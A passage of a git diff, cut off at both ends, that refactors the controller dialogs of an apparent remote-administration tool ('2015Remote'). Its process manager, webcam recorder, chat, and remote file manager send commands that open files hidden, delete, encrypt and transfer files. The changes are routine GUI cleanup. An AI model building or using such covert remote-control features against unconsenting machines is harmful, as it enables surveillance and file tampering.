IDI_SERVICE) { - m_ContextObject = ContextObject; - m_iocpServer = IOCPServer; - m_bHow= m_ContextObject->InDeCompressedBuffer.GetBYTE(0); } @@ -42,6 +39,7 @@ void CSystemDlg::DoDataExchange(CDataExchange* pDX) BEGIN_MESSAGE_MAP(CSystemDlg, CDialog) ON_WM_CLOSE() + ON_WM_SIZE() ON_NOTIFY(NM_RCLICK, IDC_LIST_SYSTEM, &CSystemDlg::OnNMRClickListSystem) ON_NOTIFY(HDN_ITEMCLICK, 0, &CSystemDlg::OnHdnItemclickList) ON_COMMAND(ID_PLIST_KILL, &CSystemDlg::OnPlistKill) @@ -62,14 +60,12 @@ BOOL CSystemDlg::OnInitDialog() { CDialog::OnInitDialog(); + SetIcon(m_hIcon, TRUE); + SetIcon(m_hIcon, FALSE); CString str; - sockaddr_in ClientAddr; - memset(&ClientAddr, 0, sizeof(ClientAddr)); - int iSockAddrLength = sizeof(ClientAddr); - BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&ClientAddr, &iSockAddrLength); m_bHow==TOKEN_PSLIST - ? str.Format("%s - 进程管理", bResult != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : "") - :str.Format("%s - 窗口管理", bResult != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : ""); + ? str.Format("%s - 进程管理", m_IPAddress) + :str.Format("%s - 窗口管理", m_IPAddress); SetWindowText(str);//设置对话框标题 m_ControlList.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT); @@ -164,17 +160,9 @@ void CSystemDlg::ShowProcessList(void) void CSystemDlg::OnClose() { - // TODO: 在此添加消息处理程序代码和/或调用默认值 -#if CLOSE_DELETE_DLG - m_ContextObject->v1 = 0; -#endif + CancelIO(); DeleteAllItems(); - CancelIo((HANDLE)m_ContextObject->sClientSocket); - closesocket(m_ContextObject->sClientSocket); - CDialog::OnClose(); -#if CLOSE_DELETE_DLG - delete this; -#endif + DialogBase::OnClose(); } // 释放资源以后再清空 @@ -462,3 +450,18 @@ void CSystemDlg::OnWlistMin() m_iocpServer->OnClientPreSending(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); } } + +void CSystemDlg::OnSize(UINT nType, int cx, int cy) +{ + CDialog::OnSize(nType, cx, cy); + + if (!m_ControlList.GetSafeHwnd()) return; // 确保控件已创建 + + // 计算新位置和大小 + CRect rc; + m_ControlList.GetWindowRect(&rc); + ScreenToClient(&rc); + + // 重新设置控件大小 + m_ControlList.MoveWindow(0, 0, cx, cy, TRUE); +} diff --git a/server/2015Remote/SystemDlg.h b/server/2015Remote/SystemDlg.h index ac40d39..c2780a2 100644 --- a/server/2015Remote/SystemDlg.h +++ b/server/2015Remote/SystemDlg.h @@ -4,15 +4,14 @@ #include "IOCPServer.h" // CSystemDlg 对话框 -class CSystemDlg : public CDialog +class CSystemDlg : public DialogBase { DECLARE_DYNAMIC(CSystemDlg) public: CSystemDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); virtual ~CSystemDlg(); - CONTEXT_OBJECT* m_ContextObject; - IOCPServer* m_iocpServer; + VOID GetProcessList(void); VOID ShowProcessList(void); void ShowWindowsList(void); @@ -45,4 +44,5 @@ public: afx_msg void OnWlistRecover(); afx_msg void OnWlistMax(); afx_msg void OnWlistMin(); + afx_msg void OnSize(UINT nType, int cx, int cy); }; diff --git a/server/2015Remote/TalkDlg.cpp b/server/2015Remote/TalkDlg.cpp index 1f39915..e60185e 100644 --- a/server/2015Remote/TalkDlg.cpp +++ b/server/2015Remote/TalkDlg.cpp @@ -11,10 +11,8 @@ IMPLEMENT_DYNAMIC(CTalkDlg, CDialog) CTalkDlg::CTalkDlg(CWnd* pParent,IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject) - : CDialog(CTalkDlg::IDD, pParent) + : DialogBase(CTalkDlg::IDD, pParent, IOCPServer, ContextObject, IDR_MAINFRAME) { - m_iocpServer = IOCPServer; - m_ContextObject = ContextObject; } CTalkDlg::~CTalkDlg() @@ -42,7 +40,6 @@ BOOL CTalkDlg::OnInitDialog() { CDialog::OnInitDialog(); - m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDR_MAINFRAME)); SetIcon(m_hIcon, FALSE); BYTE bToken = COMMAND_NEXT; m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE)); @@ -95,14 +92,7 @@ BOOL CTalkDlg::PreTranslateMessage(MSG* pMsg) void CTalkDlg::OnClose() { - // TODO: 在此添加消息处理程序代码和/或调用默认值 -#if CLOSE_DELETE_DLG - m_ContextObject->v1 = 0; -#endif - CancelIo((HANDLE)m_ContextObject->sClientSocket); - closesocket(m_ContextObject->sClientSocket); - CDialog::OnClose(); -#if CLOSE_DELETE_DLG - delete this; -#endif + CancelIO(); + + DialogBase::OnClose(); } diff --git a/server/2015Remote/TalkDlg.h b/server/2015Remote/TalkDlg.h index 454538d..ed4be8a 100644 --- a/server/2015Remote/TalkDlg.h +++ b/server/2015Remote/TalkDlg.h @@ -4,7 +4,7 @@ // CTalkDlg 对话框 -class CTalkDlg : public CDialog +class CTalkDlg : public DialogBase { DECLARE_DYNAMIC(CTalkDlg) @@ -14,9 +14,10 @@ public: // 对话框数据 enum { IDD = IDD_DIALOG_TALK }; - CONTEXT_OBJECT* m_ContextObject; - IOCPServer* m_iocpServer; - HICON m_hIcon; + + void OnReceiveComplete(void){ + } + protected: virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 diff --git a/server/2015Remote/VideoDlg.cpp b/server/2015Remote/VideoDlg.cpp index d918eae..44b3a15 100644 --- a/server/2015Remote/VideoDlg.cpp +++ b/server/2015Remote/VideoDlg.cpp @@ -91,7 +91,7 @@ void CVideoDlg::SaveAvi(void) return; } - CString strFileName = m_strIPAddress + CTime::GetCurrentTime().Format("_%Y-%m-%d_%H-%M-%S.avi"); + CString strFileName = m_IPAddress + CTime::GetCurrentTime().Format("_%Y-%m-%d_%H-%M-%S.avi"); CFileDialog dlg(FALSE, "avi", strFileName, OFN_OVERWRITEPROMPT, "视频文件(*.avi)|*.avi|", this); if(dlg.DoModal () != IDOK) return; @@ -109,19 +109,12 @@ void CVideoDlg::SaveAvi(void) CVideoDlg::CVideoDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject) - : CDialog(CVideoDlg::IDD, pParent) + : DialogBase(CVideoDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_CAMERA) { m_nCount = 0; m_aviFile.Empty(); - m_ContextObject = ContextObject; - m_iocpServer = IOCPServer; m_BitmapInfor_Full = NULL; m_pVideoCodec = NULL; - sockaddr_in ClientAddress; - memset(&ClientAddress, 0, sizeof(ClientAddress)); - int iClientAddressLength = sizeof(ClientAddress); - BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&ClientAddress, &iClientAddressLength); - m_strIPAddress = bResult != INVALID_SOCKET ? inet_ntoa(ClientAddress.sin_addr) : ""; m_BitmapData_Full = NULL; m_BitmapCompressedData_Full = NULL; @@ -209,7 +202,7 @@ BOOL CVideoDlg::OnInitDialog() CString strString; - strString.Format("%s - 视频管理 %d×%d", m_strIPAddress, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight); + strString.Format("%s - 视频管理 %d×%d", m_IPAddress, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight); SetWindowText(strString); @@ -218,7 +211,6 @@ BOOL CVideoDlg::OnInitDialog() m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE)); } - m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICON_CAMERA)); SetIcon(m_hIcon, TRUE); SetIcon(m_hIcon, FALSE); @@ -232,16 +224,10 @@ void CVideoDlg::OnClose() SaveAvi(); m_aviFile.Empty(); } -#if CLOSE_DELETE_DLG - m_ContextObject->v1 = 0; -#endif - CancelIo((HANDLE)m_ContextObject->sClientSocket); - closesocket(m_ContextObject->sClientSocket); - CDialog::OnClose(); -#if CLOSE_DELETE_DLG - delete this; -#endif + CancelIO(); + + DialogBase::OnClose(); } void CVideoDlg::OnReceiveComplete(void) diff --git a/server/2015Remote/VideoDlg.h b/server/2015Remote/VideoDlg.h index 0af768b..98e1582 100644 --- a/server/2015Remote/VideoDlg.h +++ b/server/2015Remote/VideoDlg.h @@ -158,17 +158,13 @@ public: // CVideoDlg 对话框 -class CVideoDlg : public CDialog +class CVideoDlg : public DialogBase { DECLARE_DYNAMIC(CVideoDlg) - HICON m_hIcon; public: CVideoDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // 标准构造函数 virtual ~CVideoDlg(); - CONTEXT_OBJECT* m_ContextObject; - IOCPServer* m_iocpServer; - CString m_strIPAddress; LPBITMAPINFO m_BitmapInfor_Full; BYTE* m_BitmapData_Full; diff --git a/server/2015Remote/file/CFileManagerDlg.cpp b/server/2015Remote/file/CFileManagerDlg.cpp index 9ff0559..87ff9e1 100644 --- a/server/2015Remote/file/CFileManagerDlg.cpp +++ b/server/2015Remote/file/CFileManagerDlg.cpp @@ -25,23 +25,19 @@ static UINT indicators[] = { using namespace file; CFileManagerDlg::CFileManagerDlg(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext) - : DialogBase(CFileManagerDlg::IDD, pParent, pIOCPServer, pContext, 0) + : DialogBase(CFileManagerDlg::IDD, pParent, pIOCPServer, pContext, IDI_File) { m_ProgressCtrl = nullptr; m_SearchStr = _T(""); m_bSubFordle = FALSE; - m_bOnClose = 0; id_search_result = 0; - m_iocpServer = pIOCPServer; - m_pContext = pContext; - m_IPAddress = m_pContext->PeerName.c_str(); - m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_File)); //窗口图标 + // 保存远程驱动器列表 - m_bCanAdmin = (*m_pContext->m_DeCompressionBuffer.GetBuffer(1)) == 0x01; - m_strDesktopPath = (TCHAR*)m_pContext->m_DeCompressionBuffer.GetBuffer(2); + m_bCanAdmin = (*m_ContextObject->m_DeCompressionBuffer.GetBuffer(1)) == 0x01; + m_strDesktopPath = (TCHAR*)m_ContextObject->m_DeCompressionBuffer.GetBuffer(2); memset(m_bRemoteDriveList, 0, sizeof(m_bRemoteDriveList)); - memcpy(m_bRemoteDriveList, m_pContext->m_DeCompressionBuffer.GetBuffer(1 + 1 + (m_strDesktopPath.GetLength() + 1) * sizeof(TCHAR)), - m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1 - 1 - (m_strDesktopPath.GetLength() + 1) * sizeof(TCHAR)); + memcpy(m_bRemoteDriveList, m_ContextObject->m_DeCompressionBuffer.GetBuffer(1 + 1 + (m_strDesktopPath.GetLength() + 1) * sizeof(TCHAR)), + m_ContextObject->m_DeCompressionBuffer.GetBufferLen() - 1 - 1 - (m_strDesktopPath.GetLength() + 1) * sizeof(TCHAR)); m_bUseAdmin = false; m_hFileSend = INVALID_HANDLE_VALUE; @@ -163,7 +159,7 @@ BOOL CFileManagerDlg::OnInitDialog() // 设置标题 CString str; - str.Format(_T("文件管理 - %s"), m_pContext->PeerName.c_str()), SetWindowText(str); + str.Format(_T("文件管理 - %s"), m_ContextObject->PeerName.c_str()), SetWindowText(str); // 创建带进度条的状态栏 if (!m_wndStatusBar.Create(this) || @@ -195,24 +191,11 @@ BOOL CFileManagerDlg::OnInitDialog() m_list_remote.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_ONECLICKACTIVATE | LVS_EX_SUBITEMIMAGES | LVS_EX_GRIDLINES | LVS_SHAREIMAGELISTS); m_list_remote_search.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_ONECLICKACTIVATE | LVS_EX_SUBITEMIMAGES | LVS_EX_GRIDLINES | LVS_SHAREIMAGELISTS); - //设置列表控件的大小图标 - static bool init = false; - static CImageList m_pImageList_Large; //系统大图标 - static CImageList m_pImageList_Small; //系统小图标 - if (!init) { - init = true; - SHFILEINFO sfi = {}; - HIMAGELIST hImageList = (HIMAGELIST)SHGetFileInfo((LPCTSTR)_T(""), 0, &sfi, sizeof(SHFILEINFO), SHGFI_LARGEICON | SHGFI_SYSICONINDEX); - m_pImageList_Large.Attach(hImageList); - hImageList = (HIMAGELIST)SHGetFileInfo((LPCTSTR)_T(""), 0, &sfi, sizeof(SHFILEINFO), SHGFI_SMALLICON | SHGFI_SYSICONINDEX); - m_pImageList_Small.Attach(hImageList); - } + m_list_remote.SetImageList(&(THIS_APP->m_pImageList_Large), LVSIL_NORMAL); + m_list_remote.SetImageList(&(THIS_APP->m_pImageList_Small), LVSIL_SMALL); - m_list_remote.SetImageList(&m_pImageList_Large, LVSIL_NORMAL); - m_list_remote.SetImageList(&m_pImageList_Small, LVSIL_SMALL); - - m_list_remote_search.SetImageList(&m_pImageList_Large, LVSIL_NORMAL); - m_list_remote_search.SetImageList(&m_pImageList_Small, LVSIL_SMALL); + m_list_remote_search.SetImageList(&(THIS_APP->m_pImageList_Large), LVSIL_NORMAL); + m_list_remote_search.SetImageList(&(THIS_APP->m_pImageList_Small), LVSIL_SMALL); m_list_remote_driver.InsertColumn(0, _T("名称"), LVCFMT_LEFT, 50); m_list_remote_driver.InsertColumn(1, _T("类型"), LVCFMT_LEFT, 38); @@ -485,7 +468,7 @@ void CFileManagerDlg::FixedRemoteDriveList() SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, NULL, SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); BYTE bPacket = COMMAND_FILE_GETNETHOOD; - m_iocpServer->Send(m_pContext, &bPacket, 1); + m_iocpServer->Send(m_ContextObject, &bPacket, 1); } void CFileManagerDlg::fixNetHood(BYTE* pbuffer, int buffersize) @@ -509,10 +492,9 @@ void CFileManagerDlg::fixNetHood(BYTE* pbuffer, int buffersize) void CFileManagerDlg::OnClose() { - if (m_bOnClose) return; - m_bOnClose = TRUE; - CancelIo((HANDLE)m_ContextObject->sClientSocket); - closesocket(m_ContextObject->sClientSocket); + if (m_bIsClosed) return; + + CancelIO(); DestroyIcon(m_hIcon); @@ -541,8 +523,7 @@ void CFileManagerDlg::OnClose() m_ProgressCtrl->DestroyWindow(); SAFE_DELETE(m_ProgressCtrl); - if (IsWindow(m_hWnd)) - DestroyWindow(); + DialogBase::OnClose(); } CString CFileManagerDlg::GetParentDirectory(CString strPath) @@ -567,10 +548,10 @@ CString CFileManagerDlg::GetParentDirectory(CString strPath) void CFileManagerDlg::OnReceiveComplete() { - if (m_bOnClose) return; - switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0]) { + if (m_bIsClosed) return; + switch (m_ContextObject->m_DeCompressionBuffer.GetBuffer(0)[0]) { case TOKEN_FILE_LIST: // 文件列表 - FixedRemoteFileList(m_pContext->m_DeCompressionBuffer.GetBuffer(0), m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1); + FixedRemoteFileList(m_ContextObject->m_DeCompressionBuffer.GetBuffer(0), m_ContextObject->m_DeCompressionBuffer.GetBufferLen() - 1); break; case TOKEN_FILE_SIZE: // 传输文件时的第一个数据包,文件大小,及文件名 CreateLocalRecvFile(); @@ -600,8 +581,8 @@ void CFileManagerDlg::OnReceiveComplete() case TOKEN_SEARCH_FILE_LIST: FixedRemoteSearchFileList ( - m_pContext->m_DeCompressionBuffer.GetBuffer(0), - m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1 + m_ContextObject->m_DeCompressionBuffer.GetBuffer(0), + m_ContextObject->m_DeCompressionBuffer.GetBufferLen() - 1 ); break; case TOKEN_SEARCH_FILE_FINISH: @@ -611,17 +592,17 @@ void CFileManagerDlg::OnReceiveComplete() GetRemoteFileList(_T(".")); break; case TOKEN_FILE_GETNETHOOD: - fixNetHood(m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1); + fixNetHood(m_ContextObject->m_DeCompressionBuffer.GetBuffer(1), m_ContextObject->m_DeCompressionBuffer.GetBufferLen() - 1); break; case TOKEN_FILE_RECENT: { - CString strRecent = (TCHAR*)m_pContext->m_DeCompressionBuffer.GetBuffer(1); + CString strRecent = (TCHAR*)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1); m_Remote_Directory_ComboBox.SetWindowText(strRecent); m_list_remote.SetSelectionMark(-1); GetRemoteFileList(); } break; case TOKEN_FILE_INFO: { - CString szInfo = (TCHAR*)m_pContext->m_DeCompressionBuffer.GetBuffer(1); + CString szInfo = (TCHAR*)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1); if (MessageBox(szInfo, _T("路径 确认拷贝到剪切板"), MB_ICONEXCLAMATION | MB_YESNO) == IDYES) { CStringA a; a = szInfo; @@ -680,7 +661,7 @@ void CFileManagerDlg::OnReceiveComplete() case TOKEN_FILE_SEARCHPLUS_NUMBER: { DWORD_PTR dwResult; int i; - memcpy(&i, m_pContext->m_DeCompressionBuffer.GetBuffer() + 1, sizeof(int)); + memcpy(&i, m_ContextObject->m_DeCompressionBuffer.GetBuffer() + 1, sizeof(int)); CString strMsgShow; strMsgShow.Format(_T("已经搜索 %d 请勿再次搜索"), i); SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)(strMsgShow.GetBuffer()), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); @@ -735,7 +716,7 @@ void CFileManagerDlg::GetRemoteFileList(CString directory) bPacket[0] = COMMAND_LIST_FILES; memcpy(bPacket + 1, m_Remote_Path.GetBuffer(0), PacketSize - 1); - m_iocpServer->Send(m_pContext, bPacket, PacketSize); + m_iocpServer->Send(m_ContextObject, bPacket, PacketSize); LocalFree(bPacket); m_Remote_Directory_ComboBox.InsertString(0, m_Remote_Path); @@ -762,7 +743,7 @@ void CFileManagerDlg::OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult) BYTE* bPacket = (BYTE*)LocalAlloc(LPTR, PacketSize); bPacket[0] = COMMAND_FILE_GETINFO; memcpy(bPacket + 1, filename.GetBuffer(0), PacketSize - 1); - m_iocpServer->Send(m_pContext, bPacket, PacketSize); + m_iocpServer->Send(m_ContextObject, bPacket, PacketSize); LocalFree(bPacket); } return; @@ -787,7 +768,7 @@ void CFileManagerDlg::OnDblclkListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult) } if (directory.Compare(_T("最近")) == 0) { BYTE byToken = COMMAND_FILE_RECENT; - m_iocpServer->Send(m_pContext, &byToken, 1); + m_iocpServer->Send(m_ContextObject, &byToken, 1); return; } m_Remote_Path = directory; @@ -797,7 +778,7 @@ void CFileManagerDlg::OnDblclkListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult) bPacket[0] = COMMAND_LIST_FILES; memcpy(bPacket + 1, directory.GetBuffer(0), PacketSize - 1); - m_iocpServer->Send(m_pContext, bPacket, PacketSize); + m_iocpServer->Send(m_ContextObject, bPacket, PacketSize); LocalFree(bPacket); m_Remote_Directory_ComboBox.InsertString(0, directory); @@ -955,7 +936,7 @@ void CFileManagerDlg::OnRemoteView() void CFileManagerDlg::OnRemoteRecent() { BYTE byToken = COMMAND_FILE_RECENT; - m_iocpServer->Send(m_pContext, &byToken, 1); + m_iocpServer->Send(m_ContextObject, &byToken, 1); } void CFileManagerDlg::OnRemoteDesktop() @@ -1149,7 +1130,7 @@ BOOL CFileManagerDlg::SendDownloadJob() // 文件偏移,续传时用 memcpy(bPacket + 1, file.GetBuffer(0), (file.GetLength() + 1) * sizeof(TCHAR)); - m_iocpServer->Send(m_pContext, bPacket, nPacketSize); + m_iocpServer->Send(m_ContextObject, bPacket, nPacketSize); LocalFree(bPacket); // 从下载任务列表中删除自己 @@ -1211,7 +1192,7 @@ BOOL CFileManagerDlg::SendUploadJob() memcpy(bPacket + 1, &dwSizeHigh, sizeof(DWORD)); memcpy(bPacket + 5, &dwSizeLow, sizeof(DWORD)); memcpy(bPacket + 9, fileRemote.GetBuffer(0), (fileRemote.GetLength() + 1) * sizeof(TCHAR)); - m_iocpServer->Send(m_pContext, bPacket, nPacketSize); + m_iocpServer->Send(m_ContextObject, bPacket, nPacketSize); LocalFree(bPacket); // 从下载任务列表中删除自己 @@ -1239,7 +1220,7 @@ BOOL CFileManagerDlg::SendDeleteJob() // 文件偏移,续传时用 memcpy(bPacket + 1, file.GetBuffer(0), nPacketSize - 1); - m_iocpServer->Send(m_pContext, bPacket, nPacketSize); + m_iocpServer->Send(m_ContextObject, bPacket, nPacketSize); LocalFree(bPacket); // 从下载任务列表中删除自己 @@ -1254,7 +1235,7 @@ void CFileManagerDlg::CreateLocalRecvFile() // 重置计数器 m_nCounter = 0; - FILESIZE* pFileSize = (FILESIZE*)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)); + FILESIZE* pFileSize = (FILESIZE*)(m_ContextObject->m_DeCompressionBuffer.GetBuffer(1)); DWORD dwSizeHigh = pFileSize->dwSizeHigh; DWORD dwSizeLow = pFileSize->dwSizeLow; if (pFileSize->error==FALSE) { @@ -1264,7 +1245,7 @@ void CFileManagerDlg::CreateLocalRecvFile() m_nOperatingFileLength = ((__int64)dwSizeHigh << 32) + dwSizeLow; // 当前正操作的文件名 - m_strOperatingFile = (TCHAR*)(m_pContext->m_DeCompressionBuffer.GetBuffer(9)); + m_strOperatingFile = (TCHAR*)(m_ContextObject->m_DeCompressionBuffer.GetBuffer(9)); m_strReceiveLocalFile = m_strOperatingFile; @@ -1394,7 +1375,7 @@ void CFileManagerDlg::CreateLocalRecvFile() SendStop(TRUE); else { // 发送继续传输文件的token,包含文件续传的偏移 - m_iocpServer->Send(m_pContext, bToken, sizeof(bToken)); + m_iocpServer->Send(m_ContextObject, bToken, sizeof(bToken)); } } @@ -1408,9 +1389,9 @@ void CFileManagerDlg::WriteLocalRecvFile() int nHeadLength = 9; // 1 + 4 + 4 数据包头部大小,为固定的9 FILESIZE* pFileSize; // 得到数据的偏移 - pData = m_pContext->m_DeCompressionBuffer.GetBuffer(nHeadLength); + pData = m_ContextObject->m_DeCompressionBuffer.GetBuffer(nHeadLength); - pFileSize = (FILESIZE*)m_pContext->m_DeCompressionBuffer.GetBuffer(1); + pFileSize = (FILESIZE*)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1); // 得到数据在文件中的偏移, 赋值给计数器 //m_nCounter = MAKEINT64(pFileSize->dwSizeLow, pFileSize->dwSizeHigh); @@ -1428,7 +1409,7 @@ void CFileManagerDlg::WriteLocalRecvFile() Bf_dwOffsetHighs = dwOffsetHigh; Bf_dwOffsetLows = dwOffsetLow; - dwBytesToWrite = m_pContext->m_DeCompressionBuffer.GetBufferLen() - nHeadLength; + dwBytesToWrite = m_ContextObject->m_DeCompressionBuffer.GetBufferLen() - nHeadLength; SetFilePointer(m_hFileRecv, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN); @@ -1457,7 +1438,7 @@ void CFileManagerDlg::WriteLocalRecvFile() bToken[0] = COMMAND_CONTINUE; memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh)); memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow)); - m_iocpServer->Send(m_pContext, bToken, sizeof(bToken)); + m_iocpServer->Send(m_ContextObject, bToken, sizeof(bToken)); } } @@ -1552,13 +1533,13 @@ void CFileManagerDlg::EndRemoteDeleteFile() void CFileManagerDlg::SendException() { BYTE bBuff = COMMAND_FILE_EXCEPTION; - m_iocpServer->Send(m_pContext, &bBuff, 1); + m_iocpServer->Send(m_ContextObject, &bBuff, 1); } void CFileManagerDlg::SendContinue() { BYTE bBuff = COMMAND_CONTINUE; - m_iocpServer->Send(m_pContext, &bBuff, 1); + m_iocpServer->Send(m_ContextObject, &bBuff, 1); } void CFileManagerDlg::SendStop(BOOL bIsDownload) @@ -1570,7 +1551,7 @@ void CFileManagerDlg::SendStop(BOOL bIsDownload) BYTE bBuff[2]; bBuff[0] = COMMAND_STOP; bBuff[1] = bIsDownload; - m_iocpServer->Send(m_pContext, bBuff, sizeof(bBuff)); + m_iocpServer->Send(m_ContextObject, bBuff, sizeof(bBuff)); } void CFileManagerDlg::ShowProgress() @@ -1644,7 +1625,7 @@ void CFileManagerDlg::OnRemoteStop() void CFileManagerDlg::PostNcDestroy() { - if (!m_bOnClose) + if (!m_bIsClosed) OnClose(); CDialog::PostNcDestroy(); delete this; @@ -1686,12 +1667,12 @@ void CFileManagerDlg::SendTransferMode() BYTE bToken[5]; bToken[0] = COMMAND_SET_TRANSFER_MODE; memcpy(bToken + 1, &m_nTransferMode, sizeof(m_nTransferMode)); - m_iocpServer->Send(m_pContext, bToken, sizeof(bToken)); + m_iocpServer->Send(m_ContextObject, bToken, sizeof(bToken)); } void CFileManagerDlg::SendFileData() { - FILESIZE* pFileSize = (FILESIZE*)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)); + FILESIZE* pFileSize = (FILESIZE*)(m_ContextObject->m_DeCompressionBuffer.GetBuffer(1)); LONG dwOffsetHigh = pFileSize->dwSizeHigh; LONG dwOffsetLow = pFileSize->dwSizeLow; @@ -1725,7 +1706,7 @@ void CFileManagerDlg::SendFileData() if (nNumberOfBytesRead > 0) { int nPacketSize = nNumberOfBytesRead + nHeadLength; - m_iocpServer->Send(m_pContext, lpBuffer, nPacketSize); + m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize); } LocalFree(lpBuffer); } @@ -1777,7 +1758,7 @@ void CFileManagerDlg::OnRemoteNewFolder() LPBYTE lpBuffer = new BYTE[nPacketSize]; lpBuffer[0] = COMMAND_CREATE_FOLDER; memcpy(lpBuffer + 1, file.GetBuffer(0), nPacketSize - 1); - m_iocpServer->Send(m_pContext, lpBuffer, nPacketSize); + m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize); SAFE_DELETE_AR(lpBuffer); } } @@ -1810,7 +1791,7 @@ void CFileManagerDlg::OnEndLabelEditListRemote(NMHDR* pNMHDR, LRESULT* pResult) memcpy(lpBuffer + 1, strExistingFileName.GetBuffer(0), (strExistingFileName.GetLength() + 1) * sizeof(TCHAR)); memcpy(lpBuffer + 1 + (strExistingFileName.GetLength() + 1) * sizeof(TCHAR), strNewFileName.GetBuffer(0), (strNewFileName.GetLength() + 1) * sizeof(TCHAR)); - m_iocpServer->Send(m_pContext, lpBuffer, nPacketSize); + m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize); LocalFree(lpBuffer); } *pResult = 1; @@ -1820,7 +1801,7 @@ void CFileManagerDlg::OnDelete() { BYTE bBuff; bBuff = COMMAND_FILE_NO_ENFORCE; - m_iocpServer->Send(m_pContext, &bBuff, sizeof(bBuff)); + m_iocpServer->Send(m_ContextObject, &bBuff, sizeof(bBuff)); OnRemoteDelete(); } @@ -1828,7 +1809,7 @@ void CFileManagerDlg::OnDeleteEnforce() { BYTE bBuff; bBuff = COMMAND_FILE_ENFOCE; - m_iocpServer->Send(m_pContext, &bBuff, sizeof(bBuff)); + m_iocpServer->Send(m_ContextObject, &bBuff, sizeof(bBuff)); OnRemoteDelete(); } @@ -1864,7 +1845,7 @@ void CFileManagerDlg::OnRemoteOpenShow() lpPacket[0] = COMMAND_OPEN_FILE_SHOW; lpPacket[1] = m_bUseAdmin; memcpy(lpPacket + 2, str.GetBuffer(0), nPacketLength - 2); - m_iocpServer->Send(m_pContext, lpPacket, nPacketLength); + m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength); LocalFree(lpPacket); } @@ -1882,7 +1863,7 @@ void CFileManagerDlg::OnRemoteOpenHide() lpPacket[0] = COMMAND_OPEN_FILE_HIDE; lpPacket[1] = m_bUseAdmin; memcpy(lpPacket + 2, str.GetBuffer(0), nPacketLength - 2); - m_iocpServer->Send(m_pContext, lpPacket, nPacketLength); + m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength); LocalFree(lpPacket); } @@ -1899,7 +1880,7 @@ void CFileManagerDlg::OnRemoteInfo() LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); lpPacket[0] = COMMAND_FILE_INFO; memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1); - m_iocpServer->Send(m_pContext, lpPacket, nPacketLength); + m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength); LocalFree(lpPacket); } @@ -1918,7 +1899,7 @@ void CFileManagerDlg::OnRemoteEncryption() lpPacket[0] = COMMAND_FILE_Encryption; memcpy(lpPacket + 1, strA.GetBuffer(0), nPacketLength - 1); - m_iocpServer->Send(m_pContext, lpPacket, nPacketLength); + m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength); LocalFree(lpPacket); } @@ -1937,7 +1918,7 @@ void CFileManagerDlg::OnRemoteDecrypt() lpPacket[0] = COMMAND_FILE_Decrypt; memcpy(lpPacket + 1, strA.GetBuffer(0), nPacketLength - 1); - m_iocpServer->Send(m_pContext, lpPacket, nPacketLength); + m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength); LocalFree(lpPacket); } @@ -1958,7 +1939,7 @@ void CFileManagerDlg::OnRemoteCopyFile() lpPacket[0] = COMMAND_FILE_CopyFile; memcpy(lpPacket + 1, file.GetBuffer(0), nPacketLength - 1); - m_iocpServer->Send(m_pContext, lpPacket, nPacketLength); + m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength); LocalFree(lpPacket); ShowMessage(_T("准备粘贴")); } @@ -1969,7 +1950,7 @@ void CFileManagerDlg::OnRemotePasteFile() LPBYTE lpPacket = 